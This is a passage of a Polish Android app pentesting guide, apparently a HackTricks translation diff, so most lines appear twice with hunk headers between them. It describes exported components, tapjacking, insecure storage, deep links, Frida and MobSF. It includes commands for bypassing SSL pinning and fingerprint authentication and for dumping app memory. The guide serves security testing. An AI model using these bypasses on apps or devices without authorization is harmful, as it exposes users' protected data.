- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
- **Dostawcy treści i FileProviders**: Ujawnione dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególnym uwzględnieniem sposobu zarządzania schematami URL w kontekście luk wejściowych.
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testowania dynamicznego może ujawnić, jak wykorzystać te komponenty.
- **Dostawcy treści i FileProviders**: Ujawnieni dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, co podkreśla potrzebę starannego przeglądu tych zasobów.
### Tapjacking
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby z nią interagował, podczas gdy interakcja jest przekazywana do aplikacji ofiary.\
W efekcie, **oślepia użytkownika, aby nie wiedział, że faktycznie wykonuje akcje w aplikacji ofiary**.
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
W efekcie, **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje działania w aplikacji ofiary**.
Więcej informacji znajdziesz w:
Znajdź więcej informacji w:
{{#ref}}
tapjacking.md
@ -87,7 +87,7 @@ tapjacking.md
### Przechwytywanie zadań
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
**Aktywność** z ustawionym **`launchMode`** na **`singleTask`** bez zdefiniowanego `taskAffinity` jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
Więcej informacji w:
@ -99,12 +99,12 @@ android-task-hijacking.md
**Przechowywanie wewnętrzne**
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do bycia **dostępnymi** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
1. **Analiza statyczna:**
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
2. **Analiza dynamiczna:**
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoliłoby to **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
**Przechowywanie zewnętrzne**
@ -123,7 +123,7 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD,
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji.
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. Zapobiega to złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu.
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
@ -145,7 +145,7 @@ Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą
**Słabe procesy zarządzania kluczami**
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
@ -154,7 +154,7 @@ Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadza
### Inne kontrole
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynierii odwrotnej.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie mobilne jest zrootowane** i działać w konsekwencji.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
- Użyj [**APKiD**](https://github.com/rednaga/APKiD), aby sprawdzić, który kompilator/pakiet/obfuskator został użyty do zbudowania APK.
@ -181,7 +181,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper
### Zautomatyzowana analiza statyczna kodu
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **zasady**. Te zasady wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sank** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) i **zasady**. Te zasady wskazują na **kombinację** **źródeł-sank**, które wskazują na lukę.
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
@ -241,13 +241,13 @@ avd-android-virtual-device.md
- [**Nox**](https://es.bignox.com) (Darmowy, ale nie obsługuje Frida ani Drozer).
> [!NOTE]
> Podczas tworzenia nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe.
> Podczas tworzenia nowego emulatora na dowolnej platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe.
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony przycisk zaznaczony na poniższym obrazku:
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony oznaczony przycisk na poniższym obrazie:
![](<../../images/image (277).png>)
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieciowy Bridge** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieci mostkowej** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
#### Użyj fizycznego urządzenia
@ -260,7 +260,7 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
5. Wróć i znajdziesz **Opcje dewelopera**.
> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
### Niezamierzony wyciek danych
@ -293,11 +293,11 @@ Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, j
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
Wylicz tabele używając `.tables` i wylicz kolumny tabeli wykonując `.schema <table_name>`.
Wylicz tabele używając `.tables` i wylicz kolumny tabel używając `.schema <table_name>`.
### Drozer (Eksploatacja aktywności, dostawców treści i usług)
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcję z systemem operacyjnym.\
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcja z systemem operacyjnym.\
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w kolejnych sekcjach.
### Eksploatacja eksportowanych aktywności
@ -309,18 +309,18 @@ Pamiętaj również, że kod aktywności zaczyna się w metodzie **`onCreate`**.
Gdy aktywność jest eksportowana, możesz wywołać jej ekran z zewnętrznej aplikacji. Dlatego, jeśli aktywność z **wrażliwymi informacjami** jest **eksportowana**, możesz **ominąć** mechanizmy **uwierzytelniania**, aby uzyskać do niej dostęp.
[**Dowiedz się, jak eksploatować eksportowane aktywności za pomocą Drozer.**](drozer-tutorial/#activities)
[**Dowiedz się, jak eksploatować eksportowane aktywności za pomocą Drozer.**](drozer-tutorial/index.html#activities)
Możesz również uruchomić eksportowaną aktywność z adb:
- PackageName to com.example.demo
- Exported ActivityName to com.example.test.MainActivity
- Nazwa pakietu to com.example.demo
- Nazwa eksportowanej aktywności to com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**UWAGA**: MobSF wykryje jako złośliwe użycie _**singleTask/singleInstance**_ jako `android:launchMode` w aktywności, ale z powodu [tego](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), najwyraźniej jest to niebezpieczne tylko w starych wersjach (wersje API < 21).
> [!UWAGA]
> [!NOTE]
> Zauważ, że obejście autoryzacji nie zawsze jest luką, zależy to od tego, jak działa obejście i jakie informacje są ujawniane.
**Wycieki wrażliwych informacji**
@ -329,22 +329,22 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Aby uzyskać więcej informacji o [**tym, czym jest Tapjacking, kliknij tutaj**](./#tapjacking).
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Aby uzyskać więcej informacji o [**tym, czym jest Tapjacking, kliknij tutaj**](#tapjacking).
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia po ścieżkach**, ponieważ mogą być podatne.
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/#content-providers)
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
### **Wykorzystywanie usług**
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\
Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`.
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie** w celu wyodrębnienia poufnych informacji, obejścia środków autoryzacji...\
[**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/#services)
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie** w celu wyodrębnienia poufnych informacji, omijania środków autoryzacji...\
[**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/index.html#services)
### **Wykorzystywanie odbiorników rozgłoszeniowych**
@ -352,7 +352,7 @@ Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i *
Pamiętaj, że działania odbiornika rozgłoszeniowego zaczynają się w metodzie `onReceive`.
Odbiornik rozgłoszeniowy będzie czekał na rodzaj wiadomości. W zależności od tego, jak odbiornik obsługuje wiadomość, może być podatny.\
[**Dowiedz się, jak wykorzystywać odbiorniki rozgłoszeniowe za pomocą Drozer.**](./#exploiting-broadcast-receivers)
[**Dowiedz się, jak wykorzystywać odbiorniki rozgłoszeniowe za pomocą Drozer.**](#exploiting-broadcast-receivers)
### **Wykorzystywanie schematów / głębokich linków**
@ -381,17 +381,17 @@ Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliw
**Parametry w ścieżce**
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować szczegóły użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
**Więcej przykładów**
Ciekawe [zgłoszenie bug bounty](https://hackerone.com/reports/855618) dotyczące linków (_/.well-known/assetlinks.json_).
Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_).
### Wykrywanie i weryfikacja warstwy transportowej
### Inspekcja i weryfikacja warstwy transportowej
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych.
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy szczegóły użytkowników, przed przechwyceniem przez złośliwe podmioty.
#### Weryfikacja certyfikatu
@ -412,7 +412,7 @@ Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfigurac
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu:
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik dotyczący używania Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
@ -427,7 +427,7 @@ Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczeg
**Możesz uzyskać dostęp do działającej aplikacji i podłączyć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\
Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak używać Frida.
- Naucz się, jak używać Frida: [**Frida tutorial**](frida-tutorial/)
- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/)
- Nieco "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection jest świetne do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Możesz znaleźć kilka niesamowitych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@ -446,13 +446,13 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
To będzie zrzutować pamięć w folderze ./dump, a tam możesz użyć grep z czymś takim jak:
To będzie zrzut pamięci w folderze ./dump, a tam możesz użyć grep z czymś takim jak:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Wrażliwe dane w Keystore**
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić, ponieważ użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub osoba z fizycznym dostępem do urządzenia mogłaby być w stanie ukraść te dane.
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
@ -460,9 +460,9 @@ Aby uzyskać dostęp do danych wewnątrz keystore, możesz użyć tego skryptu F
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Ominięcie odcisków palców/biometrii**
### **Ominięcie odcisku palca/biometrii**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisków palców**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisku palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -470,9 +470,9 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
Gdy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej.
Jednak jeśli ten zrzut zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp).
Jednak jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp).
Zrzuty są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
```bash
@ -486,24 +486,24 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje URL-e na obiekty `Intent` za pomocą `Intent.parseUri(...)` i następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
### Kluczowe Wnioski
- **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
- Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
- Konwersja URL-a na `Intent` w `WebView` może ułatwiać niezamierzone działania.
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
### Wstrzyknięcia po stronie klienta Android i inne
### Wstrzyknięcia po stronie klienta Androida i inne
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebView (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Inkluzja lokalnych plików:** WebView powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku.
- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/#cookies-flags)
- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -515,15 +515,15 @@ Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny
![](<../../images/image (866).png>)
**Ocena podatności aplikacji** przy użyciu ładnego interfejsu opartego na sieci. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko).
**Ocena podatności aplikacji** przy użyciu ładnego interfejsu internetowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
